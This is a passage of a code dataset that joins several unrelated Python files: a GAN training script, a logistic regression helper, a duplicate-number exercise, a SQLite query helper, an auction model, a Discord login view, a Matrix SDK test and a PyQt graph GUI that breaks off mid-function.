log = \"[{}] [{}] [{} / {}] Ep {}, \".format(\n curr_time.strftime(\"%H:%M:%S\"), elapsed, state_dict[\"itr\"], total_iters, epoch\n ) + \", \".join([\"%s : %+4.3f\" % (key, metrics[key]) for key in metrics])\n print(log)\n\n # Save weights and copies as configured at specified interval\n if not (state_dict[\"itr\"] % config[\"save_every\"]):\n if config[\"G_eval_mode\"]:\n print(\"Switchin G to eval mode...\")\n G.eval()\n if config[\"ema\"]:\n G_ema.eval()\n utils.save_and_sample(G, D, G_ema, z_, y_, fixed_z, fixed_y, state_dict, config)\n with torch.no_grad():\n classes = torch.tensor([c for c in range(config[\"n_classes\"])], dtype=torch.long).to(device)\n shared = G.shared\n sha = shared(classes)\n if config[\"prior_embed\"]:\n prs = layers.prior(classes, norm=False)\n feat = G.linear0(prs)\n sha = G.linear1(torch.cat((sha, feat), 1))\n if config[\"RRM_prx_G\"]:\n sha = G.RR_G(sha.unsqueeze(0)).squeeze(0)\n #sha = F.normalize(sha, dim=1)\n\n embedding_layer = D.embed\n cls_proxy = embedding_layer(classes)\n cos_sim = torch.nn.CosineSimilarity(dim=-1)\n sim_p = cos_sim(cls_proxy.unsqueeze(1), cls_proxy.unsqueeze(0))\n sim_g = cos_sim(sha.unsqueeze(1), sha.unsqueeze(0))\n plot_sim_heatmap(\n sim_p.detach().cpu().numpy(),\n classes.detach().cpu().numpy(),\n classes.detach().cpu().numpy(),\n mode=\"prx\",\n configuration=config,\n state_dict=state_dict\n )\n plot_sim_heatmap(\n sim_g.detach().cpu().numpy(),\n classes.detach().cpu().numpy(),\n classes.detach().cpu().numpy(),\n mode=\"g_emb\",\n configuration=config,\n state_dict=state_dict\n\n )\n\n # Test every specified interval\n if not (state_dict[\"itr\"] % config[\"test_every\"]):\n if config[\"G_eval_mode\"]:\n print(\"Switchin G to eval mode...\")\n G.eval()\n train_fns.test(G, D, G_ema, state_dict, config, test_log)\n\n # if config['stop_after'] > 0 and int(time.perf_counter() - start_time) > config['stop_after']:\n # print(\"Time limit reached! Stopping training!\")\n # return\n\n # Increment epoch counter at end of epoch\n state_dict[\"epoch\"] += 1\n if G.lr_sched is not None:\n G.lr_sched.step()\n if D.lr_sched is not None:\n D.lr_sched.step()\n\n\ndef main(configuration: dict):\n \"\"\"\n main function\n executes different jobs depending on the 'mode' setting\n \"\"\"\n # Initialize run directories\n # Also dumps the current configuration\n cf.initialize_directories(configuration)\n\n run(configuration)\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(\n \"BigGAN Deep\",\n \"Add common arguments for model training.\",\n argument_default=argparse.SUPPRESS,\n )\n parser.add_argument(\n \"--config\", \"--c\", help=\"Path to JSON config file.\", default=\"./config.json\"\n )\n parser.add_argument(\"--outputroot\", required=True, help=\"path to output\")\n parser.add_argument(\"--run-name\", \"-n\", type=str, help=\"name of experiment\")\n\n parser.add_argument(\"--device\", type=str, help=\"select device\")\n\n ### Dataset/Dataloader stuff ###\n parser.add_argument(\"--dataroot\", required=True, help=\"path to dataset\")\n parser.add_argument(\"--augment\", type=int, help=\"Augment with random crops and flips\")\n parser.add_argument(\"--num_workers\", type=int, help=\"number of workers for data loading\")\n parser.add_argument(\n \"--no_pin_memory\",\n action=\"store_false\",\n dest=\"pin_memory\",\n help=\"Pin data into memory through dataloader?\",\n )\n parser.add_argument(\n \"--shuffle\",\n action=\"store_true\",\n help=\"Shuffle the data\",\n )\n\n ### Model stuff ###\n parser.add_argument(\n \"--model\",\n type=str,\n help=\"Name of the model module\",\n )\n parser.add_argument(\n \"--G_param\",\n type=str,\n help=\"Parameterization style to use for G, spectral norm (SN) or SVD (SVD) or None\",\n )\n parser.add_argument(\n \"--D_param\",\n type=str,\n help=\"Parameterization style to use for D, spectral norm (SN) or SVD (SVD) or None\",\n )\n parser.add_argument(\"--G_ch\", type=int, help=\"Channel multiplier for G\")\n parser.add_argument(\"--D_ch\", type=int, help=\"Channel multiplier for D\")\n parser.add_argument(\n \"--G_depth\",\n type=int,\n help=\"Number of resblocks per stage in G\",\n )\n parser.add_argument(\n \"--D_depth\",\n type=int,\n help=\"Number of resblocks per stage in D\",\n )\n parser.add_argument(\n \"--D_wide\",\n help=\"Use the BigGAN or SN-GAN channel pattern for D?\",\n )\n parser.add_argument(\n \"--G_shared\",\n action=\"store_true\",\n help=\"Use shared embeddings in G?\",\n )\n parser.add_argument(\n \"--shared_dim\",\n type=int,\n help=\"Gs shared embedding dimensionality; if 0, will be equal to dim_z.\",\n )\n parser.add_argument(\"--dim_z\", type=int, help=\"Noise dimensionality\")\n parser.add_argument(\"--z_var\", type=float, help=\"Noise variance\")\n parser.add_argument(\n \"--hier\",\n action=\"store_true\",\n help=\"Use hierarchical z in G\",\n )\n parser.add_argument(\n \"--cross_replica\",\n action=\"store_true\",\n help=\"Cross_replica batchnorm in G\",\n )\n parser.add_argument(\n \"--mybn\",\n action=\"store_true\",\n help=\"Use my batchnorm (which supports standing stats?)\",\n )\n parser.add_argument(\"--G_nl\", type=str, help=\"Activation function for G\")\n parser.add_argument(\"--D_nl\", type=str, help=\"Activation function for D\")\n parser.add_argument(\n \"--G_attn\",\n type=str,\n help=\"What resolutions to use attention on for G (underscore separated)\",\n )\n parser.add_argument(\n \"--D_attn\",\n type=str,\n help=\"What resolutions to use attention on for D (underscore separated)\",\n )\n parser.add_argument(\n \"--norm_style\",\n type=str,\n help=\"Normalizer style for G, one of bn [batchnorm], in [instancenorm], \"\n \"ln [layernorm], gn [groupnorm]\",\n )\n parser.add_argument(\"--bottom_width\", type=int, help=\"Bottom width for G\")\n parser.add_argument(\n \"--add_blur\",\n action=\"store_true\",\n help=\"Add blur to Generator?\",\n )\n parser.add_argument(\n \"--add_noise\",\n action=\"store_true\",\n help=\"Add noise to Generator\",\n )\n parser.add_argument(\n \"--add_style\",\n action=\"store_true\",\n help=\"Add style like StyleGAN\",\n )\n parser.add_argument(\"--latent_op\", help=\"use latent optimization as with NGD\")\n parser.add_argument(\n \"--latent_op_weight\",\n type=int,\n help=\"In case of latent optimization, this is the weight of regularization\",\n )\n parser.add_argument(\"--conditional_strategy\", type=str, help=\"use Contra or Proj\")\n parser.add_argument(\n \"--hypersphere_dim\",\n type=int,\n help=\"In case of Contra, the n-sphere dimension\",\n )\n parser.add_argument(\n \"--pos_collected_numerator\",\n help=\"In case of having unique events this is false\",\n )\n parser.add_argument(\"--nonlinear_embed\", help=\"use non linear embedding as in SimCLR\")\n parser.add_argument(\n \"--normalize_embed\",\n help=\"l2 (hypersphere mapping) normalization of the discriminator embeddings\",\n )\n parser.add_argument(\"--inv_stereographic\", help=\"use inverse stereographic projection\")\n parser.add_argument(\n \"--contra_lambda\", type=int, help=\"lambda coefficient of the ContraGAN loss\"\n )\n parser.add_argument(\"--IEA_loss\", action=\"store_true\", help=\"use IEA loss?\")\n parser.add_argument(\"--IEA_lambda\", type=int, help=\"lambda coefficient of the IEA Loss\")\n parser.add_argument(\n \"--Uniformity_loss\",\n action=\"store_true\",\n help=\"use Uniformity loss?\",\n )\n parser.add_argument(\"--unif_lambda\", type=int, help=\"lambda coefficient of the Uniformity Loss\")\n parser.add_argument(\n \"--diff_aug\",\n action=\"store_true\",\n help=\"use Differentiable Augmentation?\",\n )\n parser.add_argument(\n \"--Con_reg\",\n action=\"store_true\",\n help=\"use Consistancy regularization?\",\n )\n parser.add_argument(\n \"--Con_reg_lambda\",\n type=int,\n help=\"lambda coefficient of the Consistancy regularization\",\n )\n parser.add_argument(\n \"--pixel_reg\",\n action=\"store_true\",\n help=\"use Pixel regularization?\",\n )\n parser.add_argument(\n \"--pixel_reg_lambda\",\n type=int,\n help=\"lambda coefficient of the Pixel regularization\",\n )\n parser.add_argument(\n \"--RRM_prx_G\",\n action=\"store_true\",\n help=\"use RRM over the Generator's proxy embedding\",\n )\n parser.add_argument(\n \"--normalized_proxy_G\",\n action=\"store_true\",\n help=\"l2 nomalization of the Generator's proxy embedding\",\n )\n parser.add_argument(\n \"--RRM_prx_D\",\n action=\"store_true\",\n help=\"use RRM over the Discriminator's proxy embedding\",\n )\n parser.add_argument(\n \"--RRM_embed\",\n action=\"store_true\",\n help=\"use RRM over Discriminator's image embedding\",\n )\n parser.add_argument(\n \"--n_head_G\", type=int, help=\"Number of heads for the Generator's RRM_prx_G\"\n )\n parser.add_argument(\n \"--rdof_dim\", type=int, help=\"The random degrees of freedom\"\n )\n parser.add_argument(\n \"--n_head_D\", type=int, help=\"Number of heads for the Discriminator's RRM_embed\"\n )\n parser.add_argument(\n \"--prior_embed\", action=\"store_true\", help=\"use prior embedding as in PE-GAN\"\n )\n parser.add_argument(\n \"--attn_type\",\n type=str,\n help=\"Attention style one of sa [non local],\" \"cbam [cbam] or ila [linear]\",\n )\n parser.add_argument(\n \"--sched_version\",\n type=str,\n help=\"Optim version default[keep the lr as initial], \" \"CosAnnealLR, CosAnnealWarmRes\",\n )\n parser.add_argument(\n \"--z_dist\",\n type=str,\n help=\"z sample from distribution, one of normal [normal distribution], \"\n \"censored_normal [Censored Normal] \"\n \"bernoulli [Bernoulli] \",\n )\n parser.add_argument(\n \"--arch\",\n type=str,\n help=\"if None, use image_size to select arch\",\n )\n\n ### Model init stuff ###\n parser.add_argument(\n \"--seed\",\n type=int,\n help=\"Random seed to use; affects both initialization and dataloading.\",\n )\n parser.add_argument(\"--G_init\", type=str, help=\"Init style to use for G\")\n parser.add_argument(\"--D_init\", type=str, help=\"Init style to use for D\")\n parser.add_argument(\n \"--skip_init\",\n action=\"store_true\",\n help=\"Skip initialization, ideal for testing when ortho init was used \",\n )\n\n ### Optimizer stuff ###\n parser.add_argument(\n \"--G_lr\",\n type=float,\n help=\"Learning rate to use for Generator\",\n )\n parser.add_argument(\n \"--D_lr\",\n type=float,\n help=\"Learning rate to use for Discriminator\",\n )\n parser.add_argument(\"--G_B1\", type=float, help=\"Beta1 to use for Generator\")\n parser.add_argument(\n \"--D_B1\",\n type=float,\n help=\"Beta1 to use for Discriminator\",\n )\n parser.add_argument(\n \"--G_B2\",\n type=float,\n help=\"Beta2 to use for Generator\",\n )\n parser.add_argument(\n \"--D_B2\",\n type=float,\n help=\"Beta2 to use for Discriminator\",\n )\n parser.add_argument(\"--truncated_threshold\", type=float)\n parser.add_argument(\"--clip_norm\", type=float)\n parser.add_argument(\"--amsgrad\", action=\"store_true\")\n\n ### Batch size, parallel, and precision stuff ###\n parser.add_argument(\n \"--batch_size\",\n type=int,\n help=\"Default overall batchsize\",\n )\n parser.add_argument(\n \"--G_batch_size\",\n type=int,\n help=\"Batch size to use for G; if 0, same as D\",\n )\n parser.add_argument(\n \"--num_G_accumulations\",\n type=int,\n help=\"Number of passes to accumulate G's gradients over.\",\n )\n parser.add_argument(\n \"--num_D_steps\",\n type=int,\n help=\"Number of D steps per G step\",\n )\n parser.add_argument(\n \"--num_D_accumulations\",\n type=int,\n help=\"Number of passes to accumulate D's gradients over.\",\n )\n parser.add_argument(\n \"--split_D\",\n action=\"store_true\",\n help=\"Run D twice rather than concatenating inputs?\",\n )\n parser.add_argument(\n \"--num_epochs\",\n type=int,\n help=\"Number of epochs to train for\",\n )\n parser.add_argument(\n \"--parallel\",\n action=\"store_true\",\n help=\"Train with multiple GPUs\",\n )\n parser.add_argument(\n \"--G_fp16\",\n action=\"store_true\",\n help=\"Train with half-precision in G?\",\n )\n parser.add_argument(\n \"--D_fp16\",\n action=\"store_true\",\n help=\"Train with half-precision in D?\",\n )\n parser.add_argument(\n \"--D_mixed_precision\",\n action=\"store_true\",\n help=\"Train with half-precision activations but fp32 params in D? \",\n )\n parser.add_argument(\n \"--G_mixed_precision\",\n action=\"store_true\",\n help=\"Train with half-precision activations but fp32 params in G? \",\n )\n parser.add_argument(\n \"--accumulate_stats\",\n action=\"store_true\",\n help='Accumulate \"standing\" batchnorm stats?',\n )\n parser.add_argument(\n \"--num_standing_accumulations\",\n type=int,\n help=\"Number of forward passes to use in accumulating standing stats? \",\n )\n\n ### Bookkeping stuff ###\n parser.add_argument(\n \"--G_eval_mode\",\n action=\"store_true\",\n help=\"Run G in eval mode (running/standing stats?) at sample/test time? \",\n )\n parser.add_argument(\n \"--save_every\",\n type=int,\n help=\"Save every X iterations\",\n )\n parser.add_argument(\n \"--num_save_copies\",\n type=int,\n help=\"How many copies to save\",\n )\n parser.add_argument(\n \"--num_best_copies\",\n type=int,\n help=\"How many previous best checkpoints to save\",\n )\n parser.add_argument(\n \"--which_best\",\n type=str,\n help=\"Which metric to use to determine when to save new best checkpoints\",\n )\n parser.add_argument(\n \"--test_every\",\n type=int,\n help=\"Test every X iterations\",\n )\n parser.add_argument(\n \"--num_incep_images\",\n type=int,\n help=\"Number of samples to compute inception metrics with\",\n )\n parser.add_argument(\n \"--hashname\",\n action=\"store_true\",\n help=\"Use a hash of the experiment name instead of the full config \",\n )\n parser.add_argument(\n \"--experiment_name\",\n type=str,\n help=\"Optionally override the automatic experiment naming with this arg. \",\n )\n parser.add_argument(\n \"--config_from_name\",\n action=\"store_true\",\n help=\"Use a hash of the experiment name instead of the full config \",\n )\n\n ### EMA Stuff ###\n parser.add_argument(\n \"--ema\",\n action=\"store_true\",\n help=\"Keep an ema of G's weights?\",\n )\n parser.add_argument(\"--ema_decay\", type=float, help=\"EMA decay rate\")\n parser.add_argument(\n \"--use_ema\",\n action=\"store_true\",\n help=\"Use the EMA parameters of G for evaluation?\",\n )\n parser.add_argument(\n \"--ema_start\",\n type=int,\n help=\"When to start updating the EMA weights\",\n )\n\n ### Numerical precision and SV stuff ###\n parser.add_argument(\n \"--adam_eps\",\n type=float,\n help=\"epsilon value to use for Adam\",\n )\n parser.add_argument(\n \"--BN_eps\",\n type=float,\n help=\"epsilon value to use for BatchNorm\",\n )\n parser.add_argument(\n \"--SN_eps\",\n type=float,\n help=\"epsilon value to use for Spectral Norm\",\n )\n parser.add_argument(\n \"--num_G_SVs\",\n type=int,\n help=\"Number of SVs to track in G\",\n )\n parser.add_argument(\n \"--num_D_SVs\",\n type=int,\n help=\"Number of SVs to track in D\",\n )\n parser.add_argument(\"--num_G_SV_itrs\", type=int, help=\"Number of SV itrs in G\")\n parser.add_argument(\"--num_D_SV_itrs\", type=int, help=\"Number of SV itrs in D\")\n\n ### Ortho reg stuff ###\n parser.add_argument(\n \"--G_ortho\",\n type=float,\n help=\"Modified ortho reg coefficient in G\",\n )\n parser.add_argument(\n \"--D_ortho\",\n type=float,\n help=\"Modified ortho reg coefficient in D\",\n )\n parser.add_argument(\n \"--toggle_grads\",\n action=\"store_true\",\n help=\"Toggle D and G\" 's \"requires_grad\" settings when not training them? ',\n )\n\n ### Which train function ###\n parser.add_argument(\n \"--debug\",\n action=\"store_true\",\n help=\"Choose dummy function over real training function.\"\n )\n\n ### Resume training stuff\n parser.add_argument(\n \"--load-weights\",\n type=str,\n help=\"Suffix for which weights to load (e.g. best0, copy0)\",\n )\n parser.add_argument(\n \"--resume\",\n action=\"store_true\",\n help=\"Resume training?\",\n )\n\n ### Log stuff ###\n parser.add_argument(\n \"--logstyle\",\n type=str,\n help=\"What style to use when logging training metrics?\"\n \"One of: #.#f/ #.#e (float/exp, text),\"\n \"pickle (python pickle),\"\n \"npz (numpy zip),\"\n \"mat (MATLAB .mat file)\",\n )\n parser.add_argument(\n \"--log_G_spectra\",\n action=\"store_true\",\n help=\"Log the top 3 singular values in each SN layer in G?\",\n )\n parser.add_argument(\n \"--log_D_spectra\",\n action=\"store_true\",\n help=\"Log the top 3 singular values in each SN layer in D?\",\n )\n parser.add_argument(\n \"--sv_log_interval\",\n type=int,\n help=\"Iteration interval for logging singular values\",\n )\n\n # parse arguments\n args = parser.parse_args()\n\n # load base config file\n with open(args.config, \"r\", encoding=\"utf-8\") as config_fp:\n _config = json.load(config_fp)\n\n # Overwrite config with command line arguments\n _config.update(vars(args))\n\n main(_config)\n","repo_name":"Hosein47/IEA-GAN","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":25213,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"62"} +{"seq_id":"28940127215","text":"from sklearn.model_selection import train_test_split\nfrom sklearn.linear_model import LogisticRegression\nimport pickle\n\nimport numpy as np\nclass logisticRegression:\n def __init__(self):\n print(\"Running logistic regression\")\n #returns how similar to arrays are\n def accuracy_checker(self, array1, array2):\n numSame=0\n for num in range(len(array1)):\n if(array1[num]==array2[num]):\n numSame+=1\n return numSame/len(array1)\n #runs logistic regression\n def runModel(self, df):\n features=df.drop(columns=['Output'])\n labels=df['Output']\n X_train, X_test, y_train, y_test = train_test_split(features, labels, test_size=0.2, random_state=90210)\n logisticRegr=LogisticRegression()\n logisticRegr.fit(X_train, y_train)\n predictions=logisticRegr.predict(X_test)\n print(np.array(predictions))\n print(np.array(y_test))\n print(self.accuracy_checker(np.array(predictions), np.array(y_test)))\n #saving model\n filename = 'finalized_model.sav'\n pickle.dump(logisticRegr, open(filename, 'wb'))\n return logisticRegr","repo_name":"irromano/SleepSure","sub_path":"Code/MachineLearning/src/StatML/logisticRegression.py","file_name":"logisticRegression.py","file_ext":"py","file_size_in_byte":1153,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"62"} +{"seq_id":"16181831040","text":"\"\"\"\nProblem Statement\nYou have been given an array of length = n. The array contains integers\nfrom 0 to n - 2. Each number in the array is present exactly once\nexcept for one number which is present twice.\nFind and return this duplicate number present in the array\n\nExample:\narr = [0, 2, 3, 1, 4, 5, 3]\noutput = 3 (because 3 is present twice)\nThe expected time complexity for this problem is O(n)\nand the expected space-complexity is O(1).\n\nNotice carefully that\n1. All the elements of the array are always non-negative\n2. If array length = n, then elements would start from 0 to (n-2),\n i.e. Natural numbers 0,1,2,3,4,5...(n-2)\n3. There is only SINGLE element which is present twice.\n\nTherefore let's find the sum of all elements (current_sum)\n of the original array, and find the sum of first (n-2)\n Natural numbers (expected_sum).\n\n\nTrick:\nThe second occurrence of a particular number (say `x`)\nis actually occupying the space that would have been utilized\nby the number (n-1). This leads to:\nexpected_sum = 0 + 1 + 2 + 3 + .... + (n-2)\ncurrent_sum = 0 + 1 + 2 + 3 + .... + (n-2) + x\nx = current_sum - expected_sum\nTada!!! :)\n\narr = [0, 1, 2, 3, 4, 5, 5]\nn = 7, n-2 = 5\nexpected_sum = 0+1+2+3+4+5 = 15\ncurrent_sum = 0+1+2+3+4+5+5 = 20\nx = 20-15 = 5\n\narr = [0, 1, 2, 3, 3, 4, 5]\nn = 7, n-2 = 5\nexpected_sum = 0+1+2+3+4+5 = 15\ncurrent_sum = 0+1+2+3+3+4+5 = 18\nx = 18-15 = 3\n\n\nTraverse from 0 to (length of array-1) to get the expected_sum\nAlternatively, you can use the formula for sum of\nan Arithmetic Progression to get the expected_sum\n\nThe argument of range() functions are:\nstarting index [OPTIONAL], ending index (non exclusive),\n and the increment/decrement size [OPTIONAL]\nIt means that if the array length = n, loop will run form 0 to (n-2)\n\"\"\"\n\n\ndef duplicate_number(arr):\n expected_sum = 0\n current_sum = 0\n\n # for (i=0; i<=n-2; i++)\n for i in range(len(arr) - 1):\n expected_sum += i\n\n for num in arr:\n current_sum += num\n\n # The difference between the\n return current_sum - expected_sum\n\n\n# Test\ndef test(arr, output):\n print(\"Pass\" if output == duplicate_number(arr) else \"Fail\")\n\n\narr = [0, 0]\noutput = 0\ntest(arr, output)\n\narr = [0, 2, 3, 1, 4, 5, 3]\noutput = 3\ntest(arr, output)\n\narr = [0, 2, 3, 1, 4, 5, 5]\noutput = 5\ntest(arr, output)\n\narr = [0, 1, 5, 4, 3, 2, 0]\noutput = 0\ntest(arr, output)\n\narr = [0, 1, 5, 5, 3, 2, 4]\noutput = 5\ntest(arr, output)\n","repo_name":"thehimel/data-structures-and-algorithms-udacity","sub_path":"m02c01-arrays-linked-lists/i14e00_duplicate_number.py","file_name":"i14e00_duplicate_number.py","file_ext":"py","file_size_in_byte":2421,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"62"} +{"seq_id":"43434334109","text":"#Kérjünk be egy természetes számot ( a ), majd rajzoljunk ki a képernyőre egy háromszöget csillagokból\n#( * ). A háromszög a sornyi csillagból álljon.\na = int(input(\"Adjon meg egy számot\"))\nm = a \nb = -1\nfor x in range(1 ,a+1):\n b = (b + 2)\n m = m - 1\n print(\" \" * m , b* \"*\" ) \n\n","repo_name":"FarkasAlex170/2019.09.13","sub_path":"feladat10.py","file_name":"feladat10.py","file_ext":"py","file_size_in_byte":308,"program_lang":"python","lang":"hu","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"4302220925","text":"import sqlite3\nconnection = sqlite3.connect('competency_info.db')\ncursor = connection.cursor()\n\n# ------------------------------SEARCH COMPETENCY NAME QUERY------------------------------\ndef user_comp_results(id): \n query = 'SELECT assessment_name FROM Assessment WHERE assess_id = ?'\n rows = cursor.execute(query, (id,)).fetchall()\n return rows\n\ndef all_comp(id): \n query = 'SELECT * FROM competencies WHERE comp_id = ?'\n rows = cursor.execute(query, (id,)).fetchall()\n return rows","repo_name":"TylerMoline66/foundations_capstone","sub_path":"db_querys/view_search/comp_name.py","file_name":"comp_name.py","file_ext":"py","file_size_in_byte":488,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"71824801798","text":"from typing import List\n\nimport numpy as np\n\nfrom Auction.AirlineAndFlight.auction_airline import AuctionAirline\nfrom Auction.AirlineAndFlight.auction_flight import AuctionFlight\nfrom ModelStructure import modelStructure as ms\nfrom ModelStructure.Flight.flight import Flight\nfrom ModelStructure.Slot.slot import Slot\nfrom ModelStructure.Solution import solution\n\n\nclass Auction(ms.ModelStructure):\n\n def __init__(self, slot_list: List[Slot], flight_list: List[Flight]):\n\n flights = [AuctionFlight(flight) for flight in flight_list]\n\n super().__init__(slot_list, flights, air_ctor=AuctionAirline)\n\n self.airlines: List[AuctionAirline]\n\n def run(self):\n assigned_flights = []\n for slot in self.slots:\n winner = None\n max_bid = -100_000\n for flight in self.flights:\n if flight not in assigned_flights and flight.etaSlot <= slot and flight.bids[slot.index] > max_bid:\n winner = flight\n max_bid = flight.bids[slot.index]\n assigned_flights.append(winner)\n\n for i in range(len(assigned_flights)):\n assigned_flights[i].newSlot = self.slots[i]\n solution.make_solution(self)\n\n def reset(self, slots, flights: List[AuctionFlight]):\n\n self.slots = slots\n\n self.flights = [flight for flight in flights if flight is not None]\n\n self.set_flight_index()\n\n self.set_cost_vect()\n\n self.set_flights_attributes()\n\n self.initialTotalCosts = self.compute_costs(self.flights, \"initial\")\n\n self.scheduleMatrix = self.set_schedule_matrix()\n\n self.emptySlots = []\n\n self.solution, self.report = None, None\n\n self.df = self.make_df()\n\n for airline in self.airlines:\n air_flights = [flight for flight in flights if flight.airlineName == airline.name]\n airline.numFlights = len(air_flights)\n\n airline.flights = air_flights\n","repo_name":"andygaspar/Hotspot_local","sub_path":"Auction/auction.py","file_name":"auction.py","file_ext":"py","file_size_in_byte":1970,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"43429820198","text":"from __future__ import annotations\nfrom typing import TYPE_CHECKING\n\nfrom core.errors import HTTPException\nfrom components.view import CustomView\n\nfrom discord import Button, ui\n\nif TYPE_CHECKING:\n from resources.extras import FortniteInteraction\n\n\nclass LoginView(CustomView):\n\n def __init__(self, interaction: FortniteInteraction, **kwargs: float | None) -> None:\n super().__init__(interaction, **kwargs)\n self.add_item(ui.Button(label='Get Code', url=str(interaction.client.http_client.user_auth_path)))\n\n @ui.button(label='Submit Code')\n async def submit_code(self, interaction: FortniteInteraction, _: Button) -> None:\n # noinspection PyUnresolvedReferences\n await interaction.response.send_modal(LoginModal(title='Authorize Account Access'))\n\n\nclass LoginModal(ui.Modal):\n\n code_field = ui.TextInput(label='Enter Auth Code', placeholder='Authorization Code', required=True)\n\n async def on_submit(self, interaction: FortniteInteraction) -> None:\n try:\n code = self.code_field.value\n http = interaction.client.http_client\n auth_session = await http.create_auth_session(code, interaction.user.id)\n except HTTPException:\n return await interaction.client.bad_response(interaction, 'You entered an invalid code, please try again.')\n\n account = await auth_session.account()\n display = account.display\n await interaction.client.send_response(interaction, f'Successfully logged in as `{display}`!')\n","repo_name":"delliott0000/FortniteBot","sub_path":"components/login.py","file_name":"login.py","file_ext":"py","file_size_in_byte":1521,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"72961072837","text":"from matrix_admin_sdk.models.v2.users import UserDetailsModel\n\n\nUSER_DETAILS = {\n \"name\": \"@user:example.com\",\n \"displayname\": \"User\",\n \"threepids\": [\n {\n \"medium\": \"email\",\n \"address\": \"\",\n \"added_at\": 1586458409743,\n \"validated_at\": 1586458409743,\n },\n {\n \"medium\": \"email\",\n \"address\": \"\",\n \"added_at\": 1586458409743,\n \"validated_at\": 1586458409743,\n },\n ],\n \"avatar_url\": \"\",\n \"is_guest\": 0,\n \"admin\": 0,\n \"deactivated\": 0,\n \"shadow_banned\": 0,\n \"creation_ts\": 1560432506,\n \"appservice_id\": None,\n \"consent_server_notice_sent\": None,\n \"consent_version\": None,\n \"external_ids\": [\n {\"auth_provider\": \"\", \"external_id\": \"\"},\n {\"auth_provider\": \"\", \"external_id\": \"\"},\n ],\n \"user_type\": None,\n}\n\n\ndef test_user_details_from_dict():\n m = UserDetailsModel.from_dict(USER_DETAILS)\n assert m.name == USER_DETAILS[\"name\"]\n assert m.threepids[0].address == USER_DETAILS[\"threepids\"][0][\"address\"]\n assert (\n m.external_ids[0].auth_provider\n == USER_DETAILS[\"external_ids\"][0][\"auth_provider\"]\n )\n","repo_name":"dmitriiweb/matrix-admin-sdk","sub_path":"tests/models/v2/test_users.py","file_name":"test_users.py","file_ext":"py","file_size_in_byte":1297,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"16731406108","text":"import math\n\nimport pyAgrum as gum\nfrom PyQt5 import QtCore, QtGui, QtWidgets\nfrom PyQt5.QtWidgets import QInputDialog, QDialog\n\nfrom NodeCPTGui import Ui_CPTWindow\n\n''' Graph GUI Classes\n \n Author: Sharif Shaker\n Date: 4/29/2017\n \n Modified: 5/11/2017\n Changes made: Included functionality for directed graph edges that include arrow heads to indicate direction. Functionality\n for running Bellman Ford algorithm added. \n\n Description:\n This file contains objects for graphically displaying nodes and edges of a graph as well as the results of graph traversals.\n\n'''\n\n\nclass InputDialog(QDialog):\n def __init__(self):\n super().__init__()\n self.grid = QtWidgets.QGridLayout()\n self.setWindowTitle(\"Select range of the variable\")\n font = QtGui.QFont()\n font.setPointSize(12)\n font.setBold(True)\n font.setWeight(75)\n label = QtWidgets.QLabel()\n label.setFont(font)\n label.setAlignment(QtCore.Qt.AlignCenter)\n label.setText(\"Minimum:\")\n self.grid.addWidget(label, 0, 0)\n label = QtWidgets.QLabel()\n label.setFont(font)\n label.setAlignment(QtCore.Qt.AlignCenter)\n label.setText(\"Maximum:\")\n self.grid.addWidget(label, 0, 1)\n self.spinBoxes = [QtWidgets.QSpinBox(), QtWidgets.QSpinBox()]\n self.spinBoxes[0].setMaximum(1000)\n self.spinBoxes[1].setMaximum(1000)\n self.grid.addWidget(self.spinBoxes[0], 1, 0)\n self.grid.addWidget(self.spinBoxes[1], 1, 1)\n button = QtWidgets.QPushButton('OK', self)\n button.clicked.connect(self.closeWindow)\n self.grid.addWidget(button, 2, 0, 1, 2)\n self.setLayout(self.grid)\n\n # set up message box for displaying invalid input alerts\n self.InvalidInMsg = QtWidgets.QMessageBox()\n self.InvalidInMsg.setStandardButtons(QtWidgets.QMessageBox.Ok)\n self.InvalidInMsg.setWindowTitle('Invalid input alert!')\n\n def closeWindow(self):\n if self.spinBoxes[0].value() <= self.spinBoxes[1].value():\n self.close()\n else:\n self.InvalidInMsg.setText(\"The minimum value must be lower or equal the maximum value\")\n self.InvalidInMsg.exec_()\n\n\nclass Node(QtWidgets.QGraphicsItem):\n def __init__(self, x, y, val):\n\n super().__init__()\n\n self.x = x # set x coordinate of node\n self.y = y # set y coordinate of node\n self.val = val # set node value\n self.parents = [] # name of parents\n self.children = [] # name of children\n self.highlighted = False\n self.selected = False\n\n def paint(self, painter, option, widget):\n\n if self.selected:\n # if the node is seleted paint it red\n painter.setPen(QtCore.Qt.green)\n painter.setBrush(QtGui.QColor(255, 50, 0, 255))\n elif self.highlighted:\n # if the node is highlighted paint it green\n painter.setPen(QtCore.Qt.green)\n painter.setBrush(QtGui.QColor(165, 255, 0, 255))\n else:\n # otehrwise paint it orange\n painter.setPen(QtCore.Qt.red)\n painter.setBrush(QtGui.QColor(255, 165, 0, 255))\n # paint the node to the scene\n painter.drawEllipse(QtCore.QRect(self.x, self.y, 40, 40))\n painter.setPen(QtCore.Qt.black)\n painter.setFont(QtGui.QFont('Decorative', (10 / len(str(self.val)) + 5)))\n painter.drawText(QtCore.QRect(self.x, self.y, 40, 40), QtCore.Qt.AlignCenter, self.val)\n\n def boundingRect(self):\n return QtCore.QRectF(self.x, self.y, 37, 37)\n\n\nclass Edge(QtWidgets.QGraphicsItem):\n def __init__(self, node1, node2):\n\n super().__init__()\n self.node1 = node1 # set node at one end of edge\n self.node2 = node2 # set node at other end of edge\n self.x1 = node1.x + 20 # set x coordinate of one end of edge\n self.y1 = node1.y + 20 # set y coordinate of one end of edge\n self.x2 = node2.x + 20 # set x coordinate of other end of edge\n self.y2 = node2.y + 20 # set y coordinate of other end of edge\n\n self.highlighted = False\n\n def get_directed_arrow_points(self, x1, y1, x2, y2, d):\n\n # get point for head of arrow--\n v1 = x1 - x2 # x cooridinate for vector between points\n v2 = y1 - y2 